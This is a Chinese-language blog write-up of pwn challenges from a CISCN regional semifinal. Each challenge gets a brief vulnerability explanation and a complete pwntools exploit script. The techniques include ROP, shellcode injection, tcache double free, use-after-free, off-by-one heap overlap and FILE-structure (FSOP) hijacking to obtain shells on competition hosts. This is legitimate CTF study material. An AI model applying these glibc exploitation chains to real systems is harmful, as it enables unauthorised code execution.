CISCN华北赛区半决赛部分pwn题解

线下半决赛

国赛华北赛区半决赛pwn部分的wp,大部分的题目都不是很难,这里把做出来的题的wp贴一下,来水一篇博客

pwn1

直接栈溢出加ROP,劫持栈到bss段上,ROP调用system getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
global p
BIN_PATH = './guess'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
p = remote('172.1.2.6',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006a2
b *0x4006DA
set follow-fork-mode parent
''')
ru(' number.')
# sl('a'*(0x30-0x4)+p64(0x41348000)+'a'*0x100)
target = 0x601100+0x400
p_rdi_r = 0x0000000000400793
p_rsi_r15_r = 0x0000000000400791
leave_r = 0x4006DA
gets_plt = 0x400550
system_plt = 0x400530
# system_plt = 0x4006C8
payload = 'a'*(0x30-0x4)+p32(0x41348000)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
# payload = 'a'*(0x30-0x4)+p32(0xdeadbeef)+p64(target)+p64(p_rdi_r)+p64(target)+p64(gets_plt)
payload += p64(leave_r)
sl(payload)
raw_input('ssss')

payload = p64(0xdeadbeef)+p64(p_rdi_r)+p64(target+0x50)+p64(p_rsi_r15_r)+p64(0)*2+p64(system_plt)
payload = payload.ljust(0x50,'\x00')
payload += '/bin/sh\x00'
sl(payload)
p.interactive()

if __name__ == '__main__':
pwn()

pwn5

还是简单的栈溢出,存在rwx的段,第一次读入的shellcode字节数长度不够,可以在溢出的时候ROP调用gets往rwx段读入不受长度限制的shellcode,在跳转到shellcode执行即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
p = remote('172.1.2.8',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x4006A4
''')
p_rdi_r = 0x0000000000400713
p_rsi_r15 = 0x0000000000400711
gets_plt = 0x400510
target = 0x601080
payload = 'aaaa'
info(hex(len(payload)))
sla('name',payload)
payload = '\x00'*0x20+p64(0xdeadbeef)+p64(p_rdi_r)+p64(target)+p64(gets_plt)+p64(target)
sla('to me?',payload)
raw_input('sss')
sl(asm(shellcraft.sh()))
p.interactive()

if __name__ == '__main__':
pwn()

pwn2

这题的给的libc为2.29,有tcache,但是该版本的libc对tcache进行了double free的检测。(具体怎么检测的感兴趣的可以看一下源码)。
程序在delete的时候只是将标志字段设置为0,并没有将指针清零,而程序在delete和addMoney中,没有对flag标志进行检查。这样就可以修改已在tcache中的chunk的key(key与money是对应的),进而就可以double free了,然后改bss上的指针就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')

context.log_level = 'debug'

def create(name, age):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))

def delete(idx):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index:')
p.send(str(idx))

def edit(idx, name, age):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('name:')
p.send(name)
p.recvuntil('age:')
p.send(str(age))

def show(idx):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index:')
p.send(str(idx))


def add(idx):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Index:')
p.send(str(idx))

def buy(idx, addr, l):
p.recvuntil('Your choice: ')
p.sendline('6')
p.recvuntil('Index:')
p.send(str(idx))
p.recvuntil('leak:')
p.sendline(str(addr))
p.recvuntil('leak:')
p.sendline(str(l))

def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./pwn')
else:
p = remote(ip, port)

libc = ELF("./libc.so")
create('emmm', 10)
delete(0)
add(0)
delete(0)
create(p64(0x602060), 10)
create(p64(0x601FA8), 10)
create(p64(0x601F88), 10)
add(2)
show(0)
p.recvuntil('name: ')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['free']
log.info('libc addr is : ' + hex(libc.address))

edit(2, p64(libc.symbols['__free_hook']), next(libc.search('/bin/sh')))
edit(0, p64(libc.symbols['system']), 10)
delete(1)

p.interactive()

if __name__ == '__main__':
GameStart('172.1.2.7', 8888, 0)

pwn3

在创建Text类型的Note的时候,如果type不对或是size过大,程序会return,但是结构体中的两个函数指针已经被赋值为Int类型的函数指针了,而type的值还是之前保留下来的脏数据,由此可以泄露heap地址。程序还存在UAF漏洞,这样就可以double free来改Note结构体中的函数指针为plt@system,删除对应的Note即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(idx,typ,value,size=0):
sla('CNote > ',str(1))
sla('Index > ',str(idx))
sla('Type > ',str(typ))
if typ==1:
sla('Value > ',str(value))
else:
sla('Length > ',str(size))
if size<=0x400:
sa('Value > ',value)
def delete(idx):
sla('CNote > ',str(2))
sla('Index > ',str(idx))

def show(idx):
sla('CNote > ',str(3))
sla('Index > ',str(idx))

def pwn():
global p
BIN_PATH = './torchwood'
DEBUG = 0
ATTACH = 0
context.arch = 'i386'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
p = remote('172.1.2.9',8888)
# libc = ELF('./libc_32.so.6')
context.log_level = 'debug'
# 0x555555554000
# if ATTACH==1:
# gdb.attach(p,'''
# b *0x08048AC1
# ''')
# add(idx,typ,value,size=0)
# leak heap addr
add(0,2,'aaaa\n',0x38)
add(1,1,0x1234)
delete(0)
add(2,2,'aaaa\n',0x500)
show(2)
ru('Value=')
heap_addr = int(ru(')')[:-1])
log.info('heap addr: '+hex(heap_addr))
heap_base = heap_addr-0x18
log.info('heap base: '+hex(heap_base))
add(3,2,'e3pem\n',0x38)

# double free
payload = 'a'*0x28+p32(0)+p32(0x41)+'\n'
add(4,2,payload,0x38)
add(5,2,'aaaa\n',0x38)
add(6,1,0x1234)
delete(4)
delete(5)
delete(4)

payload=p32(heap_base+0xb0)+'\n'
add(7,2,payload,0x38)
add(8,2,'/bin/sh\x00\n',0x38)
add(9,2,'aaaa\n',0x38)
delete(1)

if ATTACH==1:
gdb.attach(p,'''
b *0x08048AC1
b *0x0804895A
''')
payload = '\x00'*8+p32(0)+p32(0x11)+'sh\x00\x00'+p32(0x8048500)+p32(heap_base+0xd8)+'\x41'+'\n'
add(10,2,payload,0x38)

delete(8)

# add(0,1,0x1234)
# payload = 'e3pem\n'
# add(2,2,payload,0xa0)
p.interactive()

if __name__ == '__main__':
pwn()

pwn4

libc 2.23的off-by-one,程序没有开PIE。可以很方便的构造堆块重叠,进而可以改在堆中的结构体,造成任意地址写(改got表、_IO_list_all等都可以)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'


def build(size, data):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(' nest ?')
p.sendline(str(size))
p.recvuntil('the nest?')
p.send(data)

def offbyone(idx, data):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
p.recvuntil('the nest?')
p.send(data)

def show(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('Index :')
p.sendline(str(idx))

def VTCBypassOneGadget(vtable_addr, one_gadget_addr, io_list_all_addr):
exp = p64(0) + p64(0x61) + p64(0) + p64(io_list_all_addr - 0x10)
exp += p64(0) + p64(1) + p64(0) + p64(0) + p64(0) + p64(0) * 6 + p64(0) + p64(0) * 4
exp += p64(0) + p64(2) + p64(3) + p64(0) + p64(0xffffffffffffffff) + p64(0) * 2 + p64(vtable_addr - 0x18) + p64(one_gadget_addr)
return exp

def GameStart(ip, port, debug):
global p
if debug == 1:
p = process('./wood', env = {'LD_PRELOAD' : './libc.so.6'})
else:
p = remote(ip, port)

libc = ELF('./libc.so.6')

build(0x10, 'emmmmm')
build(0x10, 'emmmmm')
delete(0)
delete(1)

build(0x28, 'emmmm')
build(0xf0, 'emmmm')
build(0xe0, 'emmmm')
offbyone(0, '\x00' * 0x28 + '\xf1')
delete(1)
build(0x300, '\x00' * 0xf0 + p64(0) + p64(0xf1) + '\x00' * 0xe0 + p64(0) + p64(0x21) + '\x00' * 0x10 + p64(0) + p64(0x21))
delete(2)
build(0xe0, 'a' * 8)
show(2)
p.recvuntil('aaaaaaaa')
libc.address = u64(p.recvn(6) + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x10 - 0x58
log.info('libc addr is : ' + hex(libc.address))
delete(2)
one_gadget = 0x45216
one_gadget = 0x4526a
# one_gadget = 0xf02a4
# one_gadget = 0xf02b0
# one_gadget = 0xf1147

offbyone(1, '\x00' * 0xf0 + VTCBypassOneGadget(libc.address + 0x3C33F8, libc.address + one_gadget, libc.symbols['_IO_list_all']))
# gdb.attach(p)

p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil(' nest ?')
p.sendline(str(0x100))

p.interactive()

if __name__ == '__main__':
GameStart('172.1.2.10', 8888, 0)

pwnsec-2

输入666即可泄露libc地址,程序在读取Author name:的时候多读了8字节,刚好覆盖了下一个字段,该字段为指针,这样就能实现任意地址写了。利用任意地址写来修改stderror结构体的vtable指针,exit触发虚表调用即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

p = None
r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(length,name):
sla('-> ',str(1))
sla('Length: ',str(length))
sa('name:',name)

def pwn():
global p
BIN_PATH = './pwn'
DEBUG = 0
ATTACH = 0
context.arch = 'amd64'
if DEBUG == 1:
p = process(BIN_PATH)
elf = ELF(BIN_PATH)
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

else:
p = remote('172.1.2.4',8888)
libc = ELF('./libc2.so')
context.log_level = 'debug'
# 0x555555554000
if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0xa77
b *0xf30+0x555555554000
''')
sla('-> \n',str(666))
# print ru('\n')
libc_base = int(ru('\n')[:-1],16)-libc.sym['puts']
log.info('libc addr: '+hex(libc_base))
# add
payload = 'a'*8+p64(libc_base+libc.sym['_IO_2_1_stderr_'])
add(0xe0,payload)
sla('-> \n',str(2))
sla('New ','e3pem')
fake_file = ('/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc.sym['_IO_list_all']-0x10)+p64(libc.sym['_IO_list_all'])+p64(libc.sym['_IO_list_all']+0x10))
fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+56)+p64(0)*2+p64(libc_base+libc.sym['system'])*5+p64(0)*6+p64(0)+p64(0)*3+p64(0xffffffffffffffff)
fake_file = fake_file.ljust(0xd8,'\x00')
fake_file += p64(libc_base+libc.sym['_IO_2_1_stderr_']+8*6)
payload = fake_file
print hex(len(fake_file))
sla('contents:\n',payload)
ru('Over.')
sla('-> \n',str(4))

p.interactive()

if __name__ == '__main__':
pwn()

pwnsec-3

逆向题,程序中存在后门,只要能够输入满足条件的数据就能执行system(/bin/sh)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding:utf-8
from pwn import *

con = remote("172.1.2.5",8888)
con.recvuntil('Input something')

target = [224.000000,60.000000,196.000000,119.000000,127.000000,179.000000,1.000000,77.000000,173.000000,109.000000,29.000000,111.000000,195.000000,194.000000,100.000000,108.000000,1.339806,60.000000,0.640625,42.000000,260.000000,44.529411,79.000000,143.000000]

# 参数
v11 = [0x1,0x10,0x25,0x3,0x0D,0x0A,0x2,0x0B,0x28,0x2,0x14,0x3F,0x1,0x17,0x3C,0x1,0x0,0x69,0x1,0x12,0x3F,0x2,0x0E,0x77,0x3,0x15,0x53,0x2,0x0E,0x7D,0x3,0x5,0x0A,0x2,0x4,0x55,0x2,0x15,0x33,0x2,0x15,0x5,0x1,0x5,0x2F,0x3,0x7,0x43,0x1,0x11,0x39,0x3,0x0D,0x27,0x1,0x5,0x1E,0x3,0x4,0x3C,0x1,0x13,0x1E,0x3,0x1,0x78,0x1,0x0,0x20,0x2,0x0F,0x53,0x3,0x14,0x2B,0x3,0x14,0x28,0x3,0x0A,0x19,0x3,0x12,0x60,0x1,0x5,0x7E,0x3,0x0F,0x20,0x1,0x0F,0x58,0x2,0x11,0x51,0x1,0x0B,0x24,0x1,0x17,0x79,0x1,0x0E,0x4A,0x3,0x10,0x67,0x2,0x16,0x5C,0x3,0x9,0x6D,0x1,0x17,0x30,0x2,0x0A,0x2C,0x3,0x7,0x3F,0x3,0x7,0x43,0x1,0x4,0x4,0x2,0x0,0x0F,0x1,0x2,0x63,0x2,0x3,0x70,0x1,0x8,0x7B,0x2,0x6,0x14C,0x2,0x0B,0x7A,0x1,0x0C,0x0D0,0x2,0x11,0x22,0x2,0x13,0x66,0x4,0x15,0x0BB,0x4,0x12,0x80,0x4,0x10,0x67,0x4,0x1,0x0D8,0x1,0x3,0x80,0x1,0x4,0x2,0x4,0x4,0x12,0x4,0x5,0x7,0x1,0x6,0x0DA,0x4,0x7,0x43,0x4,0x7,0x43,0x4,0x7,0x5A,0x2,0x8,0x42,0x4,0x9,0x5F,0x4,0x0A,0x59,0x1,0x0B,0x79,0x2,0x0C,0x6C,0x4,0x0D,0x0C3,0x1,0x0E,0x0AF,0x4,0x0F,0x0A,0x4,0x10,0x67,0x4,0x12,0x0C0,0x4,0x14,0x2B,0x4,0x14,0x8,0x1,0x16,0x6C,0x2,0x17,0x0D3]

assert(len(target)==24)
v11.reverse()

# 三个一组
for i in range(0,232,3):
# 反向了
op_ = v11[i+2]
index_ = v11[i+1]
num_ = v11[i]

if op_ == 2:
target[index_] += num_
if op_ == 3:
target[index_] /= num_
if op_ == 4:
target[index_] *= num_
if op_ == 1:
target[index_] -= num_

result = ''
for op in target:
result += chr(int(op))
con.sendline(result)
con.interactive()